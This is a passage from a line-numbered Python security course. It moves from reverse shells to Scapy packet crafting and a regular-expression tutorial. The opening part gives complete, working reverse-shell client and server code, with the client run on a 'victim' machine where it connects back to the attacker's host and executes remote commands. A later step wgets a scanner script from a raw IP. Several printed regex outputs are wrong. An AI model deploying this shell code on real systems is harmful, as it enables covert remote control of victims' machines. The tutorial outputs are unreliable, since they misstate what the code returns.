1447python server.py
1448
1449
1450----------------------------------------------------------------------
1451
1452- First run server.py code from Ubuntu machine. From command line type:
1453
1454---------------------------Type This-----------------------------------
1455
1456python server.py
1457
1458----------------------------------------------------------------------
1459
1460- then check if 8080 port is open, and if we are listening on 8080:
1461
1462---------------------------Type This-----------------------------------
1463
1464netstat -antp | grep "8080"
1465
1466----------------------------------------------------------------------
1467
1468- Then on victim ( Windows ) unit run client.py code.
1469
1470
1471- Connection will be established, and you will get a shell on Ubuntu:
1472
1473---------------------------Type This-----------------------------------
1474
1475infosecaddicts@ubuntu:~$ python server.py
1476[+] We got a connection from: ('192.168.243.1', 56880)
1477Shell> arp -a
1478
1479Shell> ipconfig
1480
1481Shell> dir
1482----------------------------------------------------------------------
1483
1484
1485
1486
1487it was not possible to do this in python 3
1488
1489##########################################
1490# HTTP based reverse shell in Python 3.6 #
1491##########################################
1492
1493
1494- The easiest way to install python modules and keep them up-to-date is with a Python-based package manager called Pip
1495- Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
1496
1497Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
1498
1499- Install requests package:
1500---------------------------Type This-----------------------------------
1501
1502 python -m pip install requests
1503
1504----------------------------------------------------------------------
1505
1506- Copy and paste below code into client_http.py on your Windows machine:
1507
1508- In my case server/ubuntu IP is 192.168.243.150. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
1509
1510---------------------------Paste This-----------------------------------
1511#######import BaseHTTPServer does not work in python 3.x#####
1512
1513# client_http
1514
1515import requests
1516import subprocess
1517import time
1518
1519
1520while True:
1521 req = requests.get('http://192.168.243.150')
1522 command = req.text
1523
1524 if 'terminate' in command:
1525 break
1526
1527 else:
1528 CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
1529 post_response = requests.post(url='http://192.168.243.150', data=CMD.stdout.read() )
1530 post_response = requests.post(url='http://192.168.243.150', data=CMD.stderr.read() )
1531
1532 time.sleep(3)
1533
1534----------------------------------------------------------------------
1535
1536- Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
1537
1538
1539---------------------------Paste This-----------------------------------
1540###import BaseHTTPServer does not work in python 3.x####
1541import BaseHTTPServer
1542HOST_NAME = '192.168.243.150'
1543PORT_NUMBER = 80
1544class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
1545
1546 def do_GET(s):
1547 command = raw_input("Shell> ")
1548 s.send_response(200)
1549 s.send_header("Content-type", "text/html")
1550 s.end_headers()
1551 s.wfile.write(command)
1552
1553
1554 def do_POST(s):
1555 s.send_response(200)
1556 s.end_headers()
1557 length = int(s.headers['Content-Length'])
1558 postVar = s.rfile.read(length)
1559 print postVar
1560
1561if __name__ == '__main__':
1562 server_class = BaseHTTPServer.HTTPServer
1563 httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
1564
1565 try:
1566 httpd.serve_forever()
1567 except KeyboardInterrupt:
1568 print'[!] Server is terminated'
1569 httpd.server_close()
1570
1571----------------------------------------------------------------------
1572
1573- run server_HTTP.py on Ubuntu with next command:
1574
1575---------------------------Type This-----------------------------------
1576
1577infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
1578
1579----------------------------------------------------------------------
1580
1581
1582- on Windows machine run client_http.py
1583
1584- on Ubuntu you will see that connection is established:
1585
1586---------------------------Type This-----------------------------------
1587
1588infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
1589Shell> dir
1590----------------------------------------------------------------------
1591
1592192.168.243.1 - - [25/Sep/2017 12:21:40] "GET / HTTP/1.1" 200 -
1593192.168.243.1 - - [25/Sep/2017 12:21:40] "POST / HTTP/1.1" 200 -
1594 Volume in drive C has no label.
1595
1596________________________________________________________________________
1597
1598
1599
1600
1601############################################
1602# Multi-Threaded Reverse Shell in Python 3 #
1603############################################
1604
1605
1606- We'll again create 2 files, one for server and one for client/victim. This code is adjusted to work on python2.7
1607
1608Copy and paste code from below into server.py file on Ubuntu(server) machine and run it with command python server.py:
1609
1610
1611Server.py code:
1612---------------------------Paste This-----------------------------------
1613
1614
1615import socket
1616import sys
1617
1618# Create socket (allows two computers to connect)
1619
1620def socket_create():
1621 try:
1622 global host
1623 global port
1624 global s
1625 host = ''
1626 port = 9999
1627 s = socket.socket()
1628 except socket.error as msg:
1629 print("Socket creation error: " + str(msg))
1630
1631# Bind socket to port and wait for connection from client
1632def socket_bind():
1633 try:
1634 global host
1635 global port
1636 global s
1637 print("Binding socket to port: " + str(port))
1638 s.bind((host,port))
1639 s.listen(5)
1640 except socket.error as msg:
1641 print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
1642 socket_bind()
1643
1644# Establish a connection with client (socket must be listening for them)
1645def socket_accept():
1646 conn, address = s.accept()
1647 print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
1648 send_commands(conn)
1649 conn.close()
1650
1651
1652# Send commands
1653def send_commands(conn):
1654 while True:
1655 cmd = input() #input() is changed to raw_input() in order to work on python2.7
1656 if cmd == 'quit':
1657 conn.close()
1658 s.close()
1659 sys.exit()
1660 if len(str.encode(cmd))>0:
1661 conn.send(str.encode(cmd))
1662 client_response = str(conn.recv(1024)) # had issue with encoding and I have removed utf-8 from client_response = str(conn.recv(1024),"utf-8")
1663 print(client_response)
1664# References for str.encode/decode
1665# https://www.tutorialspoint.com/python/string_encode.htm
1666# https://www.tutorialspoint.com/python/string_decode.htm
1667
1668
1669def main():
1670 socket_create()
1671 socket_bind()
1672 socket_accept()
1673
1674main()
1675
1676
1677
1678
1679
1680----------------------------------------------------------------------
1681
1682
1683-After you have aleady run server.py on Ubuntu, you can then run client.py file from Windows(client) unit. Code is below:
1684
1685Client.py code:
1686
1687---------------------------Paste This-----------------------------------
1688
1689import os
1690import socket
1691import subprocess
1692
1693s = socket.socket()
1694host = '192.168.1.54' # change to IP address of your server
1695port = 9999
1696s.connect((host, port))
1697
1698while True:
1699 data = s.recv(1024)
1700 if data[:2].decode("utf-8") == 'cd':
1701 os.chdir(data[3:].decode("utf-8"))
1702 if len(data) > 0:
1703 cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
1704 output_bytes = cmd.stdout.read() + cmd.stderr.read()
1705 output_str = str(output_bytes) # had issue with encoding, in origin code is output_str = str(output_bytes, "utf-8")
1706 s.send(str.encode(output_str + str(os.getcwd()) + '> '))
1707 print(output_str)
1708# References for str.encode/decode
1709# https://www.tutorialspoint.com/python/string_encode.htm
1710# https://www.tutorialspoint.com/python/string_decode.htm
1711
1712# Close connection
1713s.close()
1714
1715
1716----------------------------------------------------------------------
1717
1718---------------------------Type This-----------------------------------
1719
1720python client.py
1721----------------------------------------------------------------------
1722
1723- Then return back to Ubuntu and you will see that connection is established and you can run commands from shell.
1724
1725---------------------------Type This-----------------------------------
1726
1727infosecaddicts@ubuntu:~$ python server.py
1728
1729----------------------------------------------------------------------
1730
1731Binding socket to port: 9999
1732Connection has been established | IP 192.168.243.1 | Port 57779
1733dir
1734 Volume in drive C has no label.
1735
1736
1737 Directory of C:\Python27
1738
1739
1740
1741
1742###############################
1743# Lesson 21: Installing Scapy #
1744###############################
1745
1746---------------------------Type This-----------------------------------
1747
1748sudo apt-get update
1749sudo apt-get install python-scapy python-pyx python-gnuplot
1750
1751----------------------------------------------------------------------
1752
1753Reference Page For All Of The Commands We Will Be Running:
1754http://samsclass.info/124/proj11/proj17-scapy.html
1755
1756Great slides for Scapy:
1757http://www.secdev.org/conf/scapy_csw05.pdf
1758
1759
1760
1761
1762To run Scapy interactively
1763---------------------------Type This-----------------------------------
1764
1765 sudo scapy
1766
1767----------------------------------------------------------------------
1768
1769
1770################################################
1771# Lesson 22: Sending ICMPv4 Packets with scapy #
1772################################################
1773
1774In the Linux machine, in the Terminal window, at the >>> prompt, type this command, and then press the Enter key:
1775
1776---------------------------Type This-----------------------------------
1777
1778 i = IP()
1779
1780----------------------------------------------------------------------
1781
1782
1783
1784This creates an object named i of type IP. To see the properties of that object, use the display() method with this command:
1785
1786---------------------------Type This-----------------------------------
1787
1788 i.display()
1789
1790----------------------------------------------------------------------
1791
1792
1793
1794Use these commands to set the destination IP address and display the properties of the i object again. Replace the IP address in the first command with the IP address of your target Windows machine:
1795
1796---------------------------Type This-----------------------------------
1797
1798 i.dst="10.65.75.49"
1799
1800 i.display()
1801
1802
1803----------------------------------------------------------------------
1804
1805
1806Notice that scapy automatically fills in your machine's source IP address.
1807
1808Use these commands to create an object named ic of type ICMP and display its properties:
1809
1810---------------------------Type This-----------------------------------
1811
1812 ic = ICMP()
1813
1814 ic.display()
1815
1816
1817----------------------------------------------------------------------
1818
1819
1820
1821Use this command to send the packet onto the network and listen to a single packet in response. Note that the third character is the numeral 1, not a lowercase L:
1822
1823---------------------------Type This-----------------------------------
1824
1825 sr1(i/ic)
1826
1827----------------------------------------------------------------------
1828
1829
1830
1831
1832This command sends and receives one packet, of type IP at layer 3 and ICMP at layer 4. As you can see in the image above, the response is shown, with ICMP type echo-reply.
1833
1834The Padding section shows the portion of the packet that carries higher-level data. In this case it contains only zeroes as padding.
1835
1836Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that contains data with your name in it (replace YOUR NAME with your own name):
1837
1838---------------------------Type This-----------------------------------
1839
1840 sr1(i/ic/"YOUR NAME")
1841
1842----------------------------------------------------------------------
1843
1844You should see a reply with a Raw section containing your name.
1845
1846
1847
1848##############################################
1849# Lesson 23: Sending a UDP Packet with Scapy #
1850##############################################
1851
1852
1853Preparing the Target
1854
1855---------------------------Type This-----------------------------------
1856
1857$ ncat -ulvp 4444
1858
1859----------------------------------------------------------------------
1860
1861
1862
1863--open another terminal--
1864In the Linux machine, in the Terminal window, at the >>> prompt, type these commands, and then press the Enter key:
1865
1866---------------------------Type This-----------------------------------
1867
1868
1869 u = UDP()
1870
1871 u.display()
1872
1873----------------------------------------------------------------------
1874
1875
1876This creates an object named u of type UDP, and displays its properties.
1877
1878Execute these commands to change the destination port to 4444 and display the properties again:
1879
1880---------------------------Type This-----------------------------------
1881
1882 i.dst="10.10.2.97" <--- replace this with a host that you can run netcat on (ex: another VM or your host computer)
1883
1884 u.dport = 4444
1885
1886 u.display()
1887
1888----------------------------------------------------------------------
1889
1890
1891Execute this command to send the packet to the Windows machine:
1892
1893---------------------------Type This-----------------------------------
1894
1895 send(i/u/"YOUR NAME SENT VIA UDP\n")
1896
1897----------------------------------------------------------------------
1898
1899
1900On the Windows target, you should see the message appear
1901
1902
1903
1904
1905#######################################
1906# Lesson 24: Ping Sweeping with Scapy #
1907#######################################
1908
1909---------------------------Paste This-----------------------------------
1910##############21/05/2019#####################
1911
1912#!/usr/bin/python
1913from scapy.all import *
1914
1915TIMEOUT = 2
1916conf.verb = 0
1917for ip in range(0, 256):
1918 packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP()
1919 # You will need to change 10.10.30 above this line to the subnet for your network
1920 reply = sr1(packet, timeout=TIMEOUT)
1921 if not (reply is None):
1922 print reply.dst, "is online"
1923 else:
1924 print "Timeout waiting for %s" % packet[IP].dst
1925
1926----------------------------------------------------------------------
1927
1928
1929###############################################
1930# Checking out some scapy based port scanners #
1931###############################################
1932
1933---------------------------Type This-----------------------------------
1934broken link
1935wget http://45.63.104.73/rdp_scan.py
1936
1937cat rdp_scan.py
1938
1939sudo python rdp_scan.py
1940
1941----------------------------------------------------------------------
1942
1943######################################
1944# Dealing with conf.verb=0 NameError #
1945######################################
1946
1947---------------------------Type This-----------------------------------
1948
1949conf.verb = 0
1950NameError: name 'conf' is not defined
1951
1952Fixing scapy - some scripts are written for the old version of scapy so you'll have to change the following line from:
1953
1954from scapy import *
1955 to
1956from scapy.all import *
1957
1958
1959
1960
1961Reference:
1962http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html
1963
1964
1965conf.verb=0 is a verbosity setting (configuration/verbosity = conv
1966
1967
1968
1969Here are some good Scapy references:
1970http://www.secdev.org/projects/scapy/doc/index.html
1971http://resources.infosecinstitute.com/port-scanning-using-scapy/
1972http://www.hackerzvoice.net/ouah/blackmagic.txt
1973http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983#######################
1984# Regular Expressions #
1985#######################
1986
1987
1988
1989**************************************************
1990* What is Regular Expression and how is it used? *
1991**************************************************
1992
1993
1994Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
1995
1996
1997Regular expressions use two types of characters:
1998
1999a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
2000
2001b) Literals (like a,b,1,2…)
2002
2003
2004In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
2005
2006
2007Use this code --> import re
2008
2009
2010
2011
2012The most common uses of regular expressions are:
2013--------------------------------------------------
2014
2015- Search a string (search and match)
2016- Finding a string (findall)
2017- Break string into a sub strings (split)
2018- Replace part of a string (sub)
2019
2020
2021
2022Let's look at the methods that library "re" provides to perform these tasks.
2023
2024
2025
2026****************************************************
2027* What are various methods of Regular Expressions? *
2028****************************************************
2029
2030
2031The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
2032
2033re.match()
2034re.search()
2035re.findall()
2036re.split()
2037re.sub()
2038re.compile()
2039
2040Let's look at them one by one.
2041
2042
2043re.match(pattern, string):
2044-------------------------------------------------
2045
2046This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
2047
2048Code
2049---------------------------Type This-----------------------------------
2050
2051import re
2052result = re.match(r'AV', 'AV Analytics ESET AV')
2053print (result)
2054----------------------------------------------------------------------
2055
2056Output:
2057<_sre.SRE_Match object at 0x0000000009BE4370>
2058
2059Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
2060
2061---------------------------Type This-----------------------------------
2062
2063import re
2064result = re.match(r'AV', 'AV Analytics ESET AV')
2065print (result.group(0))
2066----------------------------------------------------------------------
2067
2068Output:
2069AV
2070
2071
2072Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
2073
2074
2075Code
2076---------------------------Type This-----------------------------------
2077
2078import re
2079result = re.match(r'Analytics', 'AV Analytics ESET AV')
2080print (result)
2081
2082----------------------------------------------------------------------
2083
2084
2085Output:
2086None
2087
2088
2089There are methods like start() and end() to know the start and end position of matching pattern in the string.
2090
2091Code
2092---------------------------Type This-----------------------------------
2093
2094import re
2095result = re.match(r'AV', 'AV Analytics ESET AV')
2096print (result.start())
2097print (result.end())
2098
2099----------------------------------------------------------------------
2100
2101Output:
21020
21032
2104
2105Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
2106
2107
2108
2109
2110
2111re.search(pattern, string):
2112-----------------------------------------------------
2113
2114
2115It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
2116
2117Code
2118---------------------------Type This-----------------------------------
2119
2120import re
2121result = re.search(r'Analytics', 'AV Analytics ESET AV')
2122print (result.group(0))
2123----------------------------------------------------------------------
2124
2125Output:
2126Analytics
2127
2128Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
2129
2130
2131
2132
2133
2134
2135re.findall (pattern, string):
2136------------------------------------------------------
2137
2138
2139It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
2140
2141
2142Code
2143---------------------------Type This-----------------------------------
2144
2145import re
2146result = re.findall(r'AV', 'AV Analytics ESET AV')
2147print (result)
2148----------------------------------------------------------------------
2149
2150Output:
2151['AV', 'AV']
2152
2153
2154
2155
2156
2157re.split(pattern, string, [maxsplit=0]):
2158------------------------------------------------------
2159
2160
2161
2162This methods helps to split string by the occurrences of given pattern.
2163
2164
2165Code
2166---------------------------Type This-----------------------------------
2167
2168result=re.split(r'y','Analytics')
2169result
2170 ----------------------------------------------------------------------
2171
2172Output:
2173['Anal', 'tics']
2174
2175Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
2176
2177
2178Code
2179---------------------------Type This-----------------------------------
2180
2181import re
2182result=re.split(r's','Analytics eset')
2183print (result)
2184
2185----------------------------------------------------------------------
2186
2187Output:
2188['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
2189
2190
2191
2192Code
2193---------------------------Type This-----------------------------------
2194
2195import re
2196result=re.split(r's','Analytics eset',maxsplit=1)
2197print (result)
2198
2199----------------------------------------------------------------------
2200
2201Output:
2202[]
2203
2204
2205
2206
2207
2208re.sub(pattern, repl, string):
2209----------------------------------------------------------
2210
2211It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
2212
2213Code
2214---------------------------Type This-----------------------------------
2215
2216import re
2217result=re.sub(r'Ruby','Python','Joe likes Ruby')
2218print (result)
2219----------------------------------------------------------------------
2220
2221Output:
2222''
2223
2224
2225
2226
2227
2228re.compile(pattern, repl, string):
2229----------------------------------------------------------
2230
2231
2232We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
2233
2234
2235Code
2236---------------------------Type This-----------------------------------
2237
2238import re
2239pattern=re.compile('XSS')
2240result=pattern.findall('XSS is Cross Site Scripting, XSS')
2241print (result)
2242result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
2243print (result2)
2244
2245----------------------------------------------------------------------
2246
2247Output:
2248['XSS', 'XSS']
2249['XSS']
2250
2251Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated.
2252
2253This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators.
2254
2255
2256
2257
2258
2259**********************************************
2260* What are the most commonly used operators? *
2261**********************************************
2262
2263
2264Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information.
2265
2266Operators Description
2267. Matches with any single character except newline ‘\n'.
2268? match 0 or 1 occurrence of the pattern to its left
2269+ 1 or more occurrences of the pattern to its left
2270* 0 or more occurrences of the pattern to its left
2271\w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
2272\d Matches with digits [0-9] and /D (upper case D) matches with non-digits.
2273\s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
2274\b boundary between word and non-word and /B is opposite of /b
2275[..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket
2276\ It is used for special meaning characters like \. to match a period or \+ for plus sign.
2277^ and $ ^ and $ match the start or end of the string respectively
2278{n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
2279a| b Matches either a or b
2280( ) Groups regular expressions and returns matched text
2281\t, \n, \r Matches tab, newline, return
2282
2283
2284For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
2285
2286Now, let's understand the pattern operators by looking at the below examples.
2287
2288
2289
2290****************************************
2291* Some Examples of Regular Expressions *
2292****************************************
2293
2294******************************************************
2295* Problem 1: Return the first word of a given string *
2296******************************************************
2297
2298
2299Solution-1 Extract each character (using "\w")
2300---------------------------------------------------------------------------
2301
2302Code
2303---------------------------Type This-----------------------------------
2304
2305import re
2306result=re.findall(r'.','Python is the best scripting language')
2307print (result)
2308----------------------------------------------------------------------
2309
2310Output:
2311['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
2312
2313
2314Above, space is also extracted, now to avoid it use "\w" instead of ".".
2315
2316
2317Code
2318---------------------------Type This-----------------------------------
2319
2320import re
2321result=re.findall(r'\w','Python is the best scripting language')
2322print (result)
2323
2324----------------------------------------------------------------------
2325
2326Output:
2327['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
2328
2329
2330
2331
2332Solution-2 Extract each word (using "*" or "+")
2333---------------------------------------------------------------------------
2334
2335Code
2336---------------------------Type This-----------------------------------
2337
2338import re
2339result=re.findall(r'\w*','Python is the best scripting language')
2340print (result)
2341
2342----------------------------------------------------------------------
2343
2344Output:
2345['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
2346
2347
2348Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
2349
2350Code
2351---------------------------Type This-----------------------------------
2352
2353import re
2354result=re.findall(r'\w+','Python is the best scripting language')
2355print (result)
2356
2357----------------------------------------------------------------------
2358
2359Output:
2360['Python', 'is', 'the', 'best', 'scripting', 'language']
2361
2362
2363
2364
2365Solution-3 Extract each word (using "^")
2366-------------------------------------------------------------------------------------
2367
2368
2369Code
2370---------------------------Type This-----------------------------------
2371
2372import re
2373result=re.findall(r'^\w+','Python is the best scripting language')
2374print (result)
2375
2376----------------------------------------------------------------------
2377
2378Output:
2379['Python']
2380
2381If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
2382
2383Code
2384---------------------------Type This-----------------------------------
2385
2386import re
2387result=re.findall(r'\w+$','Python is the best scripting language')
2388print (result)
2389----------------------------------------------------------------------
2390
2391Output:
2392[‘language']
2393
2394
2395
2396
2397
2398**********************************************************
2399* Problem 2: Return the first two character of each word *
2400**********************************************************
2401
2402
2403
2404
2405Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w")
2406------------------------------------------------------------------------------------------------------
2407
2408Code
2409---------------------------Type This-----------------------------------
2410
2411import re
2412result=re.findall(r'\w\w','Python is the best')
2413print (result)
2414
2415----------------------------------------------------------------------
2416
2417Output:
2418['Py', 'th', 'on', 'is', 'th', 'be', 'st']
2419
2420
2421
2422
2423
2424Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b")
2425------------------------------------------------------------------------------------------------------
2426
2427Code
2428---------------------------Type This-----------------------------------
2429
2430import re
2431result=re.findall(r'\b\w.','Python is the best')
2432print (result)
2433
2434----------------------------------------------------------------------
2435
2436Output:
2437['Py', 'is', 'th', 'be']
2438
2439
2440
2441
2442
2443
2444********************************************************
2445* Problem 3: Return the domain type of given email-ids *
2446********************************************************
2447
2448
2449To explain it in simple manner, I will again go with a stepwise approach:
2450
2451
2452
2453
2454
2455Solution-1 Extract all characters after "@"
2456------------------------------------------------------------------------------------------------------------------
2457
2458Code
2459---------------------------Type This-----------------------------------
2460
2461import re
2462result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
2463print (result)
2464----------------------------------------------------------------------
2465
2466Output: ['@gmail', '@test', '@strategicsec', '@rest']
2467
2468
2469
2470Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
2471
2472---------------------------Type This-----------------------------------
2473
2474import re
2475result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
2476print (result)
2477
2478----------------------------------------------------------------------
2479
2480Output:
2481['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
2482
2483
2484
2485
2486
2487
2488Solution – 2 Extract only domain name using "( )"
2489-----------------------------------------------------------------------------------------------------------------------
2490
2491
2492Code
2493---------------------------Type This-----------------------------------
2494
2495import re
2496result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
2497print (result)
2498
2499----------------------------------------------------------------------
2500
2501Output:
2502['com', 'com', 'com', 'biz']
2503
2504
2505
2506********************************************
2507* Problem 4: Return date from given string *
2508********************************************
2509
2510
2511Here we will use "\d" to extract digit.
2512
2513
2514Solution:
2515----------------------------------------------------------------------------------------------------------------------
2516
2517Code
2518---------------------------Type This-----------------------------------
2519
2520import re
2521
2522result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
2523print (result)
2524
2525----------------------------------------------------------------------
2526
2527Output:
2528['12-05-2007', '11-11-2016', '12-01-2009']
2529
2530If you want to extract only year again parenthesis "( )" will help you.
2531
2532
2533Code
2534
2535---------------------------Type This-----------------------------------
2536
2537import re
2538result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
2539print (result)
2540
2541----------------------------------------------------------------------
2542
2543Output:
2544['2007', '2016', '2009']
2545
2546
2547
2548
2549
2550*******************************************************************
2551* Problem 5: Return all words of a string those starts with vowel *
2552*******************************************************************
2553
2554
2555
2556
2557Solution-1 Return each words
2558-----------------------------------------------------------------------------------------------------------------
2559
2560Code
2561---------------------------Type This-----------------------------------
2562
2563import re
2564result=re.findall(r'\w+','Python is the best')
2565print (result)
2566----------------------------------------------------------------------
2567
2568Output:
2569['Python', 'is', 'the', 'best']
2570
2571
2572
2573
2574
2575Solution-2 Return words starts with alphabets (using [])
2576------------------------------------------------------------------------------------------------------------------
2577
2578Code
2579---------------------------Type This-----------------------------------
2580
2581import re
2582result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
2583print (result)
2584
2585----------------------------------------------------------------------
2586
2587Output:
2588['ove', 'on']
2589
2590Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
2591
2592
2593
2594
2595
2596Solution- 3
2597------------------------------------------------------------------------------------------------------------------
2598
2599Code
2600---------------------------Type This-----------------------------------
2601
2602import re
2603result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
2604print (result)
2605
2606----------------------------------------------------------------------
2607
2608Output:
2609[]
2610
2611In similar ways, we can extract words those starts with constant using "^" within square bracket.
2612
2613
2614Code
2615---------------------------Type This-----------------------------------
2616
2617import re
2618result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
2619print (result)
2620
2621----------------------------------------------------------------------
2622
2623Output:
2624[' love', ' Python']
2625
2626Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
2627
2628
2629Code
2630---------------------------Type This-----------------------------------
2631
2632import re
2633result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
2634print (result)
2635
2636----------------------------------------------------------------------
2637
2638Output:
2639['love', 'Python']
2640
2641
2642
2643
2644
2645
2646*************************************************************************************************
2647* Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
2648*************************************************************************************************
2649
2650
2651We have a list phone numbers in list "li" and here we will validate phone numbers using regular
2652
2653
2654
2655
2656Solution
2657-------------------------------------------------------------------------------------------------------------------------------------
2658
2659
2660Code
2661---------------------------Type This-----------------------------------
2662
2663import re
2664li=['9999999999','999999-999','99999x9999']
2665for val in li:
2666 if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
2667 print ('yes')
2668 else:
2669 print ('no')
2670
2671
2672----------------------------------------------------------------------
2673
2674Output:
2675yes
2676no
2677no
2678
2679
2680
2681
2682
2683******************************************************
2684* Problem 7: Split a string with multiple delimiters *
2685******************************************************
2686
2687
2688
2689Solution
2690---------------------------------------------------------------------------------------------------------------------------
2691
2692
2693Code
2694---------------------------Type This-----------------------------------
2695
2696import re
2697line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
2698result= re.split(r'[;,\s]', line)
2699print (result)
2700
2701----------------------------------------------------------------------
2702
2703Output:
2704['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
2705
2706
2707
2708We can also use method re.sub() to replace these multiple delimiters with one as space " ".
2709
2710
2711Code
2712---------------------------Type This-----------------------------------
2713
2714import re
2715line = 'asdf fjdk;afed,fjek,asdf,foo'
2716result= re.sub(r'[;,\s]',' ', line)
2717print (result)
2718
2719----------------------------------------------------------------------
2720
2721Output:
2722asdf fjdk afed fjek asdf foo
2723
2724
2725
2726
2727**************************************************
2728* Problem 8: Retrieve Information from HTML file *
2729**************************************************
2730
2731
2732
2733I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
2734
2735
2736
2737Create a file that contains the following data:
2738---------------------------Paste This-----------------------------------
2739
2740<tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
2741<tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
2742<tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
2743<tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
2744<tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
2745<tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
2746<tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
2747----------------------------------------------------------------------
2748
2749Solution:
2750
2751
2752
2753Code
2754---------------------------Type This-----------------------------------
2755
2756f=open('file.txt', "r")
2757import re
2758str = f.read()
2759result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
2760print (result)
